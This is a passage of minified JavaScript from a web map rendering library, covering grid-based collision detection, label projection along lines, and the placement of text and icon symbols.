He=H-$,tt=H+$,ht=he-$,Dt=he+$;if(tt<0||He>this.width||Dt<0||ht>this.height)return ve?!1:[];var Wt=[],ar={hitTest:ve,circle:{x:H,y:he,radius:$},seenUids:{box:{},circle:{}}};return this._forEachCell(He,ht,tt,Dt,this._queryCellCircle,Wt,ar,Re),ve?Wt.length>0:Wt},nr.prototype.query=function(H,he,$,ve,Re){return this._query(H,he,$,ve,!1,Re)},nr.prototype.hitTest=function(H,he,$,ve,Re){return this._query(H,he,$,ve,!0,Re)},nr.prototype.hitTestCircle=function(H,he,$,ve){return this._queryCircle(H,he,$,!0,ve)},nr.prototype._queryCell=function(H,he,$,ve,Re,He,tt,ht){var Dt=tt.seenUids,Wt=this.boxCells[Re];if(Wt!==null)for(var ar=this.bboxes,hr=0,Er=Wt;hr<Er.length;hr+=1){var Fr=Er[hr];if(!Dt.box[Fr]){Dt.box[Fr]=!0;var Or=Fr*4;if(H<=ar[Or+2]&&he<=ar[Or+3]&&$>=ar[Or+0]&&ve>=ar[Or+1]&&(!ht||ht(this.boxKeys[Fr]))){if(tt.hitTest)return He.push(!0),!0;He.push({key:this.boxKeys[Fr],x1:ar[Or],y1:ar[Or+1],x2:ar[Or+2],y2:ar[Or+3]})}}}var zr=this.circleCells[Re];if(zr!==null)for(var Yr=this.circles,en=0,xn=zr;en<xn.length;en+=1){var Pn=xn[en];if(!Dt.circle[Pn]){Dt.circle[Pn]=!0;var Bn=Pn*3;if(this._circleAndRectCollide(Yr[Bn],Yr[Bn+1],Yr[Bn+2],H,he,$,ve)&&(!ht||ht(this.circleKeys[Pn]))){if(tt.hitTest)return He.push(!0),!0;var Un=Yr[Bn],Nn=Yr[Bn+1],jn=Yr[Bn+2];He.push({key:this.circleKeys[Pn],x1:Un-jn,y1:Nn-jn,x2:Un+jn,y2:Nn+jn})}}}},nr.prototype._queryCellCircle=function(H,he,$,ve,Re,He,tt,ht){var Dt=tt.circle,Wt=tt.seenUids,ar=this.boxCells[Re];if(ar!==null)for(var hr=this.bboxes,Er=0,Fr=ar;Er<Fr.length;Er+=1){var Or=Fr[Er];if(!Wt.box[Or]){Wt.box[Or]=!0;var zr=Or*4;if(this._circleAndRectCollide(Dt.x,Dt.y,Dt.radius,hr[zr+0],hr[zr+1],hr[zr+2],hr[zr+3])&&(!ht||ht(this.boxKeys[Or])))return He.push(!0),!0}}var Yr=this.circleCells[Re];if(Yr!==null)for(var en=this.circles,xn=0,Pn=Yr;xn<Pn.length;xn+=1){var Bn=Pn[xn];if(!Wt.circle[Bn]){Wt.circle[Bn]=!0;var Un=Bn*3;if(this._circlesCollide(en[Un],en[Un+1],en[Un+2],Dt.x,Dt.y,Dt.radius)&&(!ht||ht(this.circleKeys[Bn])))return He.push(!0),!0}}},nr.prototype._forEachCell=function(H,he,$,ve,Re,He,tt,ht){for(var Dt=this._convertToXCellCoord(H),Wt=this._convertToYCellCoord(he),ar=this._convertToXCellCoord($),hr=this._convertToYCellCoord(ve),Er=Dt;Er<=ar;Er++)for(var Fr=Wt;Fr<=hr;Fr++){var Or=this.xCellCount*Fr+Er;if(Re.call(this,H,he,$,ve,Or,He,tt,ht))return}},nr.prototype._convertToXCellCoord=function(H){return Math.max(0,Math.min(this.xCellCount-1,Math.floor(H*this.xScale)))},nr.prototype._convertToYCellCoord=function(H){return Math.max(0,Math.min(this.yCellCount-1,Math.floor(H*this.yScale)))},nr.prototype._circlesCollide=function(H,he,$,ve,Re,He){var tt=ve-H,ht=Re-he,Dt=$+He;return Dt*Dt>tt*tt+ht*ht},nr.prototype._circleAndRectCollide=function(H,he,$,ve,Re,He,tt){var ht=(He-ve)/2,Dt=Math.abs(H-(ve+ht));if(Dt>ht+$)return!1;var Wt=(tt-Re)/2,ar=Math.abs(he-(Re+Wt));if(ar>Wt+$)return!1;if(Dt<=ht||ar<=Wt)return!0;var hr=Dt-ht,Er=ar-Wt;return hr*hr+Er*Er<=$*$};function Sr(ue,H,he,$,ve){var Re=o.create();return H?(o.scale(Re,Re,[1/ve,1/ve,1]),he||o.rotateZ(Re,Re,$.angle)):o.multiply(Re,$.labelPlaneMatrix,ue),Re}function Dr(ue,H,he,$,ve){if(H){var Re=o.clone(ue);return o.scale(Re,Re,[ve,ve,1]),he||o.rotateZ(Re,Re,-$.angle),Re}else return $.glCoordMatrix}function Ir(ue,H){var he=[ue.x,ue.y,0,1];mr(he,he,H);var $=he[3];return{point:new o.Point(he[0]/$,he[1]/$),signedDistanceFromCamera:$}}function Xr(ue,H){return .5+.5*(ue/H)}function an(ue,H){var he=ue[0]/ue[3],$=ue[1]/ue[3],ve=he>=-H[0]&&he<=H[0]&&$>=-H[1]&&$<=H[1];return ve}function tn(ue,H,he,$,ve,Re,He,tt){var ht=$?ue.textSizeData:ue.iconSizeData,Dt=o.evaluateSizeForZoom(ht,he.transform.zoom),Wt=[256/he.width*2+1,256/he.height*2+1],ar=$?ue.text.dynamicLayoutVertexArray:ue.icon.dynamicLayoutVertexArray;ar.clear();for(var hr=ue.lineVertexArray,Er=$?ue.text.placedSymbolArray:ue.icon.placedSymbolArray,Fr=he.transform.width/he.transform.height,Or=!1,zr=0;zr<Er.length;zr++){var Yr=Er.get(zr);if(Yr.hidden||Yr.writingMode===o.WritingMode.vertical&&!Or){ea(Yr.numGlyphs,ar);continue}Or=!1;var en=[Yr.anchorX,Yr.anchorY,0,1];if(o.transformMat4(en,en,H),!an(en,Wt)){ea(Yr.numGlyphs,ar);continue}var xn=en[3],Pn=Xr(he.transform.cameraToCenterDistance,xn),Bn=o.evaluateSizeForFeature(ht,Dt,Yr),Un=He?Bn/Pn:Bn*Pn,Nn=new o.Point(Yr.anchorX,Yr.anchorY),jn=Ir(Nn,ve).point,na={},ra=Hn(Yr,Un,!1,tt,H,ve,Re,ue.glyphOffsetArray,hr,ar,jn,Nn,na,Fr);Or=ra.useVertical,(ra.notEnoughRoom||Or||ra.needsFlipping&&Hn(Yr,Un,!0,tt,H,ve,Re,ue.glyphOffsetArray,hr,ar,jn,Nn,na,Fr).notEnoughRoom)&&ea(Yr.numGlyphs,ar)}$?ue.text.dynamicLayoutVertexBuffer.updateData(ar):ue.icon.dynamicLayoutVertexBuffer.updateData(ar)}function gn(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt){var ar=tt.glyphStartIndex+tt.numGlyphs,hr=tt.lineStartIndex,Er=tt.lineStartIndex+tt.lineLength,Fr=H.getoffsetX(tt.glyphStartIndex),Or=H.getoffsetX(ar-1),zr=qn(ue*Fr,he,$,ve,Re,He,tt.segment,hr,Er,ht,Dt,Wt);if(!zr)return null;var Yr=qn(ue*Or,he,$,ve,Re,He,tt.segment,hr,Er,ht,Dt,Wt);return Yr?{first:zr,last:Yr}:null}function En(ue,H,he,$){if(ue===o.WritingMode.horizontal){var ve=Math.abs(he.y-H.y),Re=Math.abs(he.x-H.x)*$;if(ve>Re)return{useVertical:!0}}return(ue===o.WritingMode.vertical?H.y<he.y:H.x>he.x)?{needsFlipping:!0}:null}function Hn(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar,hr,Er){var Fr=H/24,Or=ue.lineOffsetX*Fr,zr=ue.lineOffsetY*Fr,Yr;if(ue.numGlyphs>1){var en=ue.glyphStartIndex+ue.numGlyphs,xn=ue.lineStartIndex,Pn=ue.lineStartIndex+ue.lineLength,Bn=gn(Fr,tt,Or,zr,he,Wt,ar,ue,ht,Re,hr);if(!Bn)return{notEnoughRoom:!0};var Un=Ir(Bn.first.point,He).point,Nn=Ir(Bn.last.point,He).point;if($&&!he){var jn=En(ue.writingMode,Un,Nn,Er);if(jn)return jn}Yr=[Bn.first];for(var na=ue.glyphStartIndex+1;na<en-1;na++)Yr.push(qn(Fr*tt.getoffsetX(na),Or,zr,he,Wt,ar,ue.segment,xn,Pn,ht,Re,hr));Yr.push(Bn.last)}else{if($&&!he){var ra=Ir(ar,ve).point,sa=ue.lineStartIndex+ue.segment+1,ha=new o.Point(ht.getx(sa),ht.gety(sa)),Aa=Ir(ha,ve),Da=Aa.signedDistanceFromCamera>0?Aa.point:Xn(ar,ha,ra,1,ve),Ka=En(ue.writingMode,ra,Da,Er);if(Ka)return Ka}var ka=qn(Fr*tt.getoffsetX(ue.glyphStartIndex),Or,zr,he,Wt,ar,ue.segment,ue.lineStartIndex,ue.lineStartIndex+ue.lineLength,ht,Re,hr);if(!ka)return{notEnoughRoom:!0};Yr=[ka]}for(var Ba=0,xa=Yr;Ba<xa.length;Ba+=1){var Ja=xa[Ba];o.addDynamicAttributes(Dt,Ja.point,Ja.angle)}return{}}function Xn(ue,H,he,$,ve){var Re=Ir(ue.add(ue.sub(H)._unit()),ve).point,He=he.sub(Re);return he.add(He._mult($/He.mag()))}function qn(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar){var hr=$?ue-H:ue+H,Er=hr>0?1:-1,Fr=0;$&&(Er*=-1,Fr=Math.PI),Er<0&&(Fr+=Math.PI);for(var Or=Er>0?tt+He:tt+He+1,zr=ve,Yr=ve,en=0,xn=0,Pn=Math.abs(hr),Bn=[];en+xn<=Pn;){if(Or+=Er,Or<tt||Or>=ht)return null;if(Yr=zr,Bn.push(zr),zr=ar[Or],zr===void 0){var Un=new o.Point(Dt.getx(Or),Dt.gety(Or)),Nn=Ir(Un,Wt);if(Nn.signedDistanceFromCamera>0)zr=ar[Or]=Nn.point;else{var jn=Or-Er,na=en===0?Re:new o.Point(Dt.getx(jn),Dt.gety(jn));zr=Xn(na,Un,Yr,Pn-en+1,Wt)}}en+=xn,xn=Yr.dist(zr)}var ra=(Pn-en)/xn,sa=zr.sub(Yr),ha=sa.mult(ra)._add(Yr);ha._add(sa._unit()._perp()._mult(he*Er));var Aa=Fr+Math.atan2(zr.y-Yr.y,zr.x-Yr.x);return Bn.push(ha),{point:ha,angle:Aa,path:Bn}}var Wn=new Float32Array([-1/0,-1/0,0,-1/0,-1/0,0,-1/0,-1/0,0,-1/0,-1/0,0]);function ea(ue,H){for(var he=0;he<ue;he++){var $=H.length;H.resize($+4),H.float32.set(Wn,$*3)}}function mr(ue,H,he){var $=H[0],ve=H[1];return ue[0]=he[0]*$+he[4]*ve+he[12],ue[1]=he[1]*$+he[5]*ve+he[13],ue[3]=he[3]*$+he[7]*ve+he[15],ue}var qr=100,Qr=function(H,he,$){he===void 0&&(he=new nr(H.width+2*qr,H.height+2*qr,25)),$===void 0&&($=new nr(H.width+2*qr,H.height+2*qr,25)),this.transform=H,this.grid=he,this.ignoredGrid=$,this.pitchfactor=Math.cos(H._pitch)*H.cameraToCenterDistance,this.screenRightBoundary=H.width+qr,this.screenBottomBoundary=H.height+qr,this.gridRightBoundary=H.width+2*qr,this.gridBottomBoundary=H.height+2*qr};Qr.prototype.placeCollisionBox=function(H,he,$,ve,Re){var He=this.projectAndGetPerspectiveRatio(ve,H.anchorPointX,H.anchorPointY),tt=$*He.perspectiveRatio,ht=H.x1*tt+He.point.x,Dt=H.y1*tt+He.point.y,Wt=H.x2*tt+He.point.x,ar=H.y2*tt+He.point.y;return!this.isInsideGrid(ht,Dt,Wt,ar)||!he&&this.grid.hitTest(ht,Dt,Wt,ar,Re)?{box:[],offscreen:!1}:{box:[ht,Dt,Wt,ar],offscreen:this.isOffscreen(ht,Dt,Wt,ar)}},Qr.prototype.placeCollisionCircles=function(H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar,hr,Er){var Fr=[],Or=new o.Point(he.anchorX,he.anchorY),zr=Ir(Or,He),Yr=Xr(this.transform.cameraToCenterDistance,zr.signedDistanceFromCamera),en=Wt?Re/Yr:Re*Yr,xn=en/o.ONE_EM,Pn=Ir(Or,tt).point,Bn={},Un=he.lineOffsetX*xn,Nn=he.lineOffsetY*xn,jn=gn(xn,ve,Un,Nn,!1,Pn,Or,he,$,tt,Bn),na=!1,ra=!1,sa=!0;if(jn){for(var ha=hr*.5*Yr+Er,Aa=new o.Point(-qr,-qr),Da=new o.Point(this.screenRightBoundary,this.screenBottomBoundary),Ka=new Sn,ka=jn.first,Ba=jn.last,xa=[],Ja=ka.path.length-1;Ja>=1;Ja--)xa.push(ka.path[Ja]);for(var qa=1;qa<Ba.path.length;qa++)xa.push(Ba.path[qa]);var ti=ha*2.5;if(ht){var Na=xa.map(function(Zs){return Ir(Zs,ht)});Na.some(function(Zs){return Zs.signedDistanceFromCamera<=0})?xa=[]:xa=Na.map(function(Zs){return Zs.point})}var fi=[];if(xa.length>0){for(var Ia=xa[0].clone(),Ha=xa[0].clone(),Ei=1;Ei<xa.length;Ei++)Ia.x=Math.min(Ia.x,xa[Ei].x),Ia.y=Math.min(Ia.y,xa[Ei].y),Ha.x=Math.max(Ha.x,xa[Ei].x),Ha.y=Math.max(Ha.y,xa[Ei].y);Ia.x>=Aa.x&&Ha.x<=Da.x&&Ia.y>=Aa.y&&Ha.y<=Da.y?fi=[xa]:Ha.x<Aa.x||Ia.x>Da.x||Ha.y<Aa.y||Ia.y>Da.y?fi=[]:fi=o.clipLine([xa],Aa.x,Aa.y,Da.x,Da.y)}for(var Bi=0,cs=fi;Bi<cs.length;Bi+=1){var hs=cs[Bi];Ka.reset(hs,ha*.25);var Vs=0;Ka.length<=.5*ha?Vs=1:Vs=Math.ceil(Ka.paddedLength/ti)+1;for(var Gs=0;Gs<Vs;Gs++){var vl=Gs/Math.max(Vs-1,1),Ws=Ka.lerp(vl),Eo=Ws.x+qr,Nl=Ws.y+qr;Fr.push(Eo,Nl,ha,0);var fo=Eo-ha,qo=Nl-ha,Ys=Eo+ha,Cs=Nl+ha;if(sa=sa&&this.isOffscreen(fo,qo,Ys,Cs),ra=ra||this.isInsideGrid(fo,qo,Ys,Cs),!H&&this.grid.hitTestCircle(Eo,Nl,ha,ar)&&(na=!0,!Dt))return{circles:[],offscreen:!1,collisionDetected:na}}}}return{circles:!Dt&&na||!ra?[]:Fr,offscreen:sa,collisionDetected:na}},Qr.prototype.queryRenderedSymbols=function(H){if(H.length===0||this.grid.keysLength()===0&&this.ignoredGrid.keysLength()===0)return{};for(var he=[],$=1/0,ve=1/0,Re=-1/0,He=-1/0,tt=0,ht=H;tt<ht.length;tt+=1){var Dt=ht[tt],Wt=new o.Point(Dt.x+qr,Dt.y+qr);$=Math.min($,Wt.x),ve=Math.min(ve,Wt.y),Re=Math.max(Re,Wt.x),He=Math.max(He,Wt.y),he.push(Wt)}for(var ar=this.grid.query($,ve,Re,He).concat(this.ignoredGrid.query($,ve,Re,He)),hr={},Er={},Fr=0,Or=ar;Fr<Or.length;Fr+=1){var zr=Or[Fr],Yr=zr.key;if(hr[Yr.bucketInstanceId]===void 0&&(hr[Yr.bucketInstanceId]={}),!hr[Yr.bucketInstanceId][Yr.featureIndex]){var en=[new o.Point(zr.x1,zr.y1),new o.Point(zr.x2,zr.y1),new o.Point(zr.x2,zr.y2),new o.Point(zr.x1,zr.y2)];o.polygonIntersectsPolygon(he,en)&&(hr[Yr.bucketInstanceId][Yr.featureIndex]=!0,Er[Yr.bucketInstanceId]===void 0&&(Er[Yr.bucketInstanceId]=[]),Er[Yr.bucketInstanceId].push(Yr.featureIndex))}}return Er},Qr.prototype.insertCollisionBox=function(H,he,$,ve,Re){var He=he?this.ignoredGrid:this.grid,tt={bucketInstanceId:$,featureIndex:ve,collisionGroupID:Re};He.insert(tt,H[0],H[1],H[2],H[3])},Qr.prototype.insertCollisionCircles=function(H,he,$,ve,Re){for(var He=he?this.ignoredGrid:this.grid,tt={bucketInstanceId:$,featureIndex:ve,collisionGroupID:Re},ht=0;ht<H.length;ht+=4)He.insertCircle(tt,H[ht],H[ht+1],H[ht+2])},Qr.prototype.projectAndGetPerspectiveRatio=function(H,he,$){var ve=[he,$,0,1];mr(ve,ve,H);var Re=new o.Point((ve[0]/ve[3]+1)/2*this.transform.width+qr,(-ve[1]/ve[3]+1)/2*this.transform.height+qr);return{point:Re,perspectiveRatio:.5+.5*(this.transform.cameraToCenterDistance/ve[3])}},Qr.prototype.isOffscreen=function(H,he,$,ve){return $<qr||H>=this.screenRightBoundary||ve<qr||he>this.screenBottomBoundary},Qr.prototype.isInsideGrid=function(H,he,$,ve){return $>=0&&H<this.gridRightBoundary&&ve>=0&&he<this.gridBottomBoundary},Qr.prototype.getViewportMatrix=function(){var H=o.identity([]);return o.translate(H,H,[-qr,-qr,0]),H};function un(ue,H,he){return H*(o.EXTENT/(ue.tileSize*Math.pow(2,he-ue.tileID.overscaledZ)))}var kn=function(H,he,$,ve){H?this.opacity=Math.max(0,Math.min(1,H.opacity+(H.placed?he:-he))):this.opacity=ve&&$?1:0,this.placed=$};kn.prototype.isHidden=function(){return this.opacity===0&&!this.placed};var bn=function(H,he,$,ve,Re){this.text=new kn(H?H.text:null,he,$,Re),this.icon=new kn(H?H.icon:null,he,ve,Re)};bn.prototype.isHidden=function(){return this.text.isHidden()&&this.icon.isHidden()};var wn=function(H,he,$){this.text=H,this.icon=he,this.skipFade=$},zn=function(){this.invProjMatrix=o.create(),this.viewportMatrix=o.create(),this.circles=[]},Jn=function(H,he,$,ve,Re){this.bucketInstanceId=H,this.featureIndex=he,this.sourceLayerIndex=$,this.bucketIndex=ve,this.tileID=Re},ba=function(H){this.crossSourceCollisions=H,this.maxGroupID=0,this.collisionGroups={}};ba.prototype.get=function(H){if(this.crossSourceCollisions)return{ID:0,predicate:null};if(!this.collisionGroups[H]){var he=++this.maxGroupID;this.collisionGroups[H]={ID:he,predicate:function($){return $.collisionGroupID===he}}}return this.collisionGroups[H]};function Fa(ue,H,he,$,ve){var Re=o.getAnchorAlignment(ue),He=Re.horizontalAlign,tt=Re.verticalAlign,ht=-(He-.5)*H,Dt=-(tt-.5)*he,Wt=o.evaluateVariableOffset(ue,$);return new o.Point(ht+Wt[0]*ve,Dt+Wt[1]*ve)}function Ht(ue,H,he,$,ve,Re){var He=ue.x1,tt=ue.x2,ht=ue.y1,Dt=ue.y2,Wt=ue.anchorPointX,ar=ue.anchorPointY,hr=new o.Point(H,he);return $&&hr._rotate(ve?Re:-Re),{x1:He+hr.x,y1:ht+hr.y,x2:tt+hr.x,y2:Dt+hr.y,anchorPointX:Wt,anchorPointY:ar}}var pr=function(H,he,$,ve){this.transform=H.clone(),this.collisionIndex=new Qr(this.transform),this.placements={},this.opacities={},this.variableOffsets={},this.stale=!1,this.commitTime=0,this.fadeDuration=he,this.retainedQueryData={},this.collisionGroups=new ba($),this.collisionCircleArrays={},this.prevPlacement=ve,ve&&(ve.prevPlacement=void 0),this.placedOrientations={}};pr.prototype.getBucketParts=function(H,he,$,ve){var Re=$.getBucket(he),He=$.latestFeatureIndex;if(!(!Re||!He||he.id!==Re.layerIds[0])){var tt=$.collisionBoxArray,ht=Re.layers[0].layout,Dt=Math.pow(2,this.transform.zoom-$.tileID.overscaledZ),Wt=$.tileSize/o.EXTENT,ar=this.transform.calculatePosMatrix($.tileID.toUnwrapped()),hr=ht.get("text-pitch-alignment")==="map",Er=ht.get("text-rotation-alignment")==="map",Fr=un($,1,this.transform.zoom),Or=Sr(ar,hr,Er,this.transform,Fr),zr=null;if(hr){var Yr=Dr(ar,hr,Er,this.transform,Fr);zr=o.multiply([],this.transform.labelPlaneMatrix,Yr)}this.retainedQueryData[Re.bucketInstanceId]=new Jn(Re.bucketInstanceId,He,Re.sourceLayerIndex,Re.index,$.tileID);var en={bucket:Re,layout:ht,posMatrix:ar,textLabelPlaneMatrix:Or,labelToScreenMatrix:zr,scale:Dt,textPixelRatio:Wt,holdingForFade:$.holdingForFade(),collisionBoxArray:tt,partiallyEvaluatedTextSize:o.evaluateSizeForZoom(Re.textSizeData,this.transform.zoom),collisionGroup:this.collisionGroups.get(Re.sourceID)};if(ve)for(var xn=0,Pn=Re.sortKeyRanges;xn<Pn.length;xn+=1){var Bn=Pn[xn],Un=Bn.sortKey,Nn=Bn.symbolInstanceStart,jn=Bn.symbolInstanceEnd;H.push({sortKey:Un,symbolInstanceStart:Nn,symbolInstanceEnd:jn,parameters:en})}else H.push({symbolInstanceStart:0,symbolInstanceEnd:Re.symbolInstances.length,parameters:en})}},pr.prototype.attemptAnchorPlacement=function(H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar,hr,Er,Fr,Or){var zr=[hr.textOffset0,hr.textOffset1],Yr=Fa(H,$,ve,zr,Re),en=this.collisionIndex.placeCollisionBox(Ht(he,Yr.x,Yr.y,He,tt,this.transform.angle),ar,ht,Dt,Wt.predicate);if(Or){var xn=this.collisionIndex.placeCollisionBox(Ht(Or,Yr.x,Yr.y,He,tt,this.transform.angle),ar,ht,Dt,Wt.predicate);if(xn.box.length===0)return}if(en.box.length>0){var Pn;return this.prevPlacement&&this.prevPlacement.variableOffsets[hr.crossTileID]&&this.prevPlacement.placements[hr.crossTileID]&&this.prevPlacement.placements[hr.crossTileID].text&&(Pn=this.prevPlacement.variableOffsets[hr.crossTileID].anchor),this.variableOffsets[hr.crossTileID]={textOffset:zr,width:$,height:ve,anchor:H,textBoxScale:Re,prevAnchor:Pn},this.markUsedJustification(Er,H,hr,Fr),Er.allowVerticalPlacement&&(this.markUsedOrientation(Er,Fr,hr),this.placedOrientations[hr.crossTileID]=Fr),{shift:Yr,placedGlyphBoxes:en}}},pr.prototype.placeLayerBucketPart=function(H,he,$){var ve=this,Re=H.parameters,He=Re.bucket,tt=Re.layout,ht=Re.posMatrix,Dt=Re.textLabelPlaneMatrix,Wt=Re.labelToScreenMatrix,ar=Re.textPixelRatio,hr=Re.holdingForFade,Er=Re.collisionBoxArray,Fr=Re.partiallyEvaluatedTextSize,Or=Re.collisionGroup,zr=tt.get("text-optional"),Yr=tt.get("icon-optional"),en=tt.get("text-allow-overlap"),xn=tt.get("icon-allow-overlap"),Pn=tt.get("text-rotation-alignment")==="map",Bn=tt.get("text-pitch-alignment")==="map",Un=tt.get("icon-text-fit")!=="none",Nn=tt.get("symbol-z-order")==="viewport-y",jn=en&&(xn||!He.hasIconData()||Yr),na=xn&&(en||!He.hasTextData()||zr);!He.collisionArrays&&Er&&He.deserializeCollisionBoxes(Er);var ra=function(ka,Ba){if(!he[ka.crossTileID]){if(hr){ve.placements[ka.crossTileID]=new wn(!1,!1,!1);return}var xa=!1,Ja=!1,qa=!0,ti=null,Na={box:null,offscreen:null},fi={box:null,offscreen:null},Ia=null,Ha=null,Ei=null,Bi=0,cs=0,hs=0;Ba.textFeatureIndex?Bi=Ba.textFeatureIndex:ka.useRuntimeCollisionCircles&&(Bi=ka.featureIndex),Ba.verticalTextFeatureIndex&&(cs=Ba.verticalTextFeatureIndex);var Vs=Ba.textBox;if(Vs){var Gs=function(Pi){var No=o.WritingMode.horizontal;if(He.allowVerticalPlacement&&!Pi&&ve.prevPlacement){var Uo=ve.prevPlacement.placedOrientations[ka.crossTileID];Uo&&(ve.placedOrientations[ka.crossTileID]=Uo,No=Uo,ve.markUsedOrientation(He,No,ka))}return No},vl=function(Pi,No){if(He.allowVerticalPlacement&&ka.numVerticalGlyphVertices>0&&Ba.verticalTextBox)for(var Uo=0,zf=He.writingModes;Uo<zf.length;Uo+=1){var oc=zf[Uo];if(oc===o.WritingMode.vertical?(Na=No(),fi=Na):Na=Pi(),Na&&Na.box&&Na.box.length)break}else Na=Pi()};if(tt.get("text-variable-anchor")){var fo=tt.get("text-variable-anchor");if(ve.prevPlacement&&ve.prevPlacement.variableOffsets[ka.crossTileID]){var qo=ve.prevPlacement.variableOffsets[ka.crossTileID];fo.indexOf(qo.anchor)>0&&(fo=fo.filter(function(Pi){return Pi!==qo.anchor}),fo.unshift(qo.anchor))}var Ys=function(Pi,No,Uo){for(var zf=Pi.x2-Pi.x1,oc=Pi.y2-Pi.y1,Jc=ka.textBoxScale,Qc=Un&&!xn?No:null,Af={box:[],offscreen:!1},$c=en?fo.length*2:fo.length,Ff=0;Ff<$c;++Ff){var qc=fo[Ff%fo.length],eh=Ff>=fo.length,sc=ve.attemptAnchorPlacement(qc,Pi,zf,oc,Jc,Pn,Bn,ar,ht,Or,eh,ka,He,Uo,Qc);if(sc&&(Af=sc.placedGlyphBoxes,Af&&Af.box&&Af.box.length)){xa=!0,ti=sc.shift;break}}return Af},Cs=function(){return Ys(Vs,Ba.iconBox,o.WritingMode.horizontal)},Zs=function(){var Pi=Ba.verticalTextBox,No=Na&&Na.box&&Na.box.length;return He.allowVerticalPlacement&&!No&&ka.numVerticalGlyphVertices>0&&Pi?Ys(Pi,Ba.verticalIconBox,o.WritingMode.vertical):{box:null,offscreen:null}};vl(Cs,Zs),Na&&(xa=Na.box,qa=Na.offscreen);var Df=Gs(Na&&Na.box);if(!xa&&ve.prevPlacement){var du=ve.prevPlacement.variableOffsets[ka.crossTileID];du&&(ve.variableOffsets[ka.crossTileID]=du,ve.markUsedJustification(He,du.anchor,ka,Df))}}else{var Ws=function(Pi,No){var Uo=ve.collisionIndex.placeCollisionBox(Pi,en,ar,ht,Or.predicate);return Uo&&Uo.box&&Uo.box.length&&(ve.markUsedOrientation(He,No,ka),ve.placedOrientations[ka.crossTileID]=No),Uo},Eo=function(){return Ws(Vs,o.WritingMode.horizontal)},Nl=function(){var Pi=Ba.verticalTextBox;return He.allowVerticalPlacement&&ka.numVerticalGlyphVertices>0&&Pi?Ws(Pi,o.WritingMode.vertical):{box:null,offscreen:null}};vl(Eo,Nl),Gs(Na&&Na.box&&Na.box.length)}}if(Ia=Na,xa=Ia&&Ia.box&&Ia.box.length>0,qa=Ia&&Ia.offscreen,ka.useRuntimeCollisionCircles){var ao=He.text.placedSymbolArray.get(ka.centerJustifiedTextSymbolIndex),wf=o.evaluateSizeForFeature(He.textSizeData,Fr,ao),yo=tt.get("text-padding"),Tf=ka.collisionCircleDiameter;Ha=ve.collisionIndex.placeCollisionCircles(en,ao,He.lineVertexArray,He.glyphOffsetArray,wf,ht,Dt,Wt,$,Bn,Or.predicate,Tf,yo),xa=en||Ha.circles.length>0&&!Ha.collisionDetected,qa=qa&&Ha.offscreen}if(Ba.iconFeatureIndex&&(hs=Ba.iconFeatureIndex),Ba.iconBox){var If=function(Pi){var No=Un&&ti?Ht(Pi,ti.x,ti.y,Pn,Bn,ve.transform.angle):Pi;return ve.collisionIndex.placeCollisionBox(No,xn,ar,ht,Or.predicate)};fi&&fi.box&&fi.box.length&&Ba.verticalIconBox?(Ei=If(Ba.verticalIconBox),Ja=Ei.box.length>0):(Ei=If(Ba.iconBox),Ja=Ei.box.length>0),qa=qa&&Ei.offscreen}var kf=zr||ka.numHorizontalGlyphVertices===0&&ka.numVerticalGlyphVertices===0,Lc=Yr||ka.numIconVertices===0;if(!kf&&!Lc?Ja=xa=Ja&&xa:Lc?kf||(Ja=Ja&&xa):xa=Ja&&xa,xa&&Ia&&Ia.box&&(fi&&fi.box&&cs?ve.collisionIndex.insertCollisionBox(Ia.box,tt.get("text-ignore-placement"),He.bucketInstanceId,cs,Or.ID):ve.collisionIndex.insertCollisionBox(Ia.box,tt.get("text-ignore-placement"),He.bucketInstanceId,Bi,Or.ID)),Ja&&Ei&&ve.collisionIndex.insertCollisionBox(Ei.box,tt.get("icon-ignore-placement"),He.bucketInstanceId,hs,Or.ID),Ha&&(xa&&ve.collisionIndex.insertCollisionCircles(Ha.circles,tt.get("text-ignore-placement"),He.bucketInstanceId,Bi,Or.ID),$)){var _f=He.bucketInstanceId,Gu=ve.collisionCircleArrays[_f];Gu===void 0&&(Gu=ve.collisionCircleArrays[_f]=new zn);for(var Wu=0;Wu<Ha.circles.length;Wu+=4)Gu.circles.push(Ha.circles[Wu+0]),Gu.circles.push(Ha.circles[Wu+1]),Gu.circles.push(Ha.circles[Wu+2]),Gu.circles.push(Ha.collisionDetected?1:0)}ve.placements[ka.crossTileID]=new wn(xa||jn,Ja||na,qa||He.justReloaded),he[ka.crossTileID]=!0}};if(Nn)for(var sa=He.getSortedSymbolIndexes(this.transform.angle),ha=sa.length-1;ha>=0;--ha){var Aa=sa[ha];ra(He.symbolInstances.get(Aa),He.collisionArrays[Aa])}else for(var Da=H.symbolInstanceStart;Da<H.symbolInstanceEnd;Da++)ra(He.symbolInstances.get(Da),He.collisionArrays[Da]);if($&&He.bucketInstanceId in this.collisionCircleArrays){var Ka=this.collisionCircleArrays[He.bucketInstanceId];o.invert(Ka.invProjMatrix,ht),Ka.viewportMatrix=this.collisionIndex.getViewportMatrix()}He.justReloaded=!1},pr.prototype.markUsedJustification=function(H,he,$,ve){var Re={left:$.leftJustifiedTextSymbolIndex,center:$.centerJustifiedTextSymbolIndex,right:$.rightJustifiedTextSymbolIndex},He;ve===o.WritingMode.vertical?He=$.verticalPlacedTextSymbolIndex:He=Re[o.getAnchorJustification(he)];for(var tt=[$.leftJustifiedTextSymbolIndex,$.centerJustifiedTextSymbolIndex,$.rightJustifiedTextSymbolIndex,$.verticalPlacedTextSymbolIndex],ht=0,Dt=tt;ht<Dt.length;ht+=1){var Wt=Dt[ht];Wt>=0&&(He>=0&&Wt!==He?H.text.placedSymbolArray.get(Wt).crossTileID=0:H.text.placedSymbolArray.get(Wt).crossTileID=$.crossTileID)}},pr.prototype.markUsedOrientation=function(H,he,$){for(var ve=he===o.WritingMode.horizontal||he===o.WritingMode.horizontalOnly?he:0,Re=he===o.WritingMode.vertical?he:0,He=[$.leftJustifiedTextSymbolIndex,$.centerJustifiedTextSymbolIndex,$.rightJustifiedTextSymbolIndex],tt=0,ht=He;tt<ht.length;tt+=1){var Dt=ht[tt];H.text.placedSymbolArray.get(Dt).placedOrientation=ve}$.verticalPlacedTextSymbolIndex&&(H.text.placedSymbolArray.get($.verticalPlacedTextSymbolIndex).placedOrientation=Re)},pr.prototype.commit=function(H){this.commitTime=H,this.zoomAtLastRecencyCheck=this.transform.zoom;var 